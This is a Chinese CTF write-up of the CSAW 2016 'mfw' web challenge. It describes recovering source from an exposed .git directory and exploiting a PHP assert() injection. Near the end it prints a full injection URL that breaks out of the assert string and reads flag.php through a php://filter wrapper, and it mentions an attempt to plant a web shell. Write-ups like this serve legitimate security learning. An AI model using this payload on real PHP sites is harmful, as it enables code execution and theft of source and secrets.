CSAW2016-mfw wp

題目描述

Hey, I made my first website today. It's pretty cool and web7.9.
http://web.chal.csaw.io:8000/

進去之后打開首頁,在某一頁找到

About

I wrote this website all by myself in under a week!

I used:

    Git
    PHP
    Bootstrap

有git, 那就從.git入手,用工具下載到源碼

發(fā)現(xiàn)有flag.php,但是里面是空的,應該是這個文件被修改過

在.git/logs/head中查看提交記錄,只看到一次提交

大概git就到此為止了

于是看index.php,代碼中關鍵的是下面這部分

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

開始一直沒有找到突破點,
后來想到assert其實就是變相的eval,但是掛馬一直連不上,糾結了很久

然后想到其實不用,可以用require + php偽協(xié)議直接拿到源碼

遂構造url,獲得flag

http://web.chal.csaw.io:8000/?page=sa' ,'a') && (require('php://filter/convert.base64-encode/resource=./templates/flag.php')); //

這里還遇到了一個坑

之前用require_once一直拿不到代碼,改成require后就可以了

最后編輯于
?著作權歸作者所有,轉載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務。

相關閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容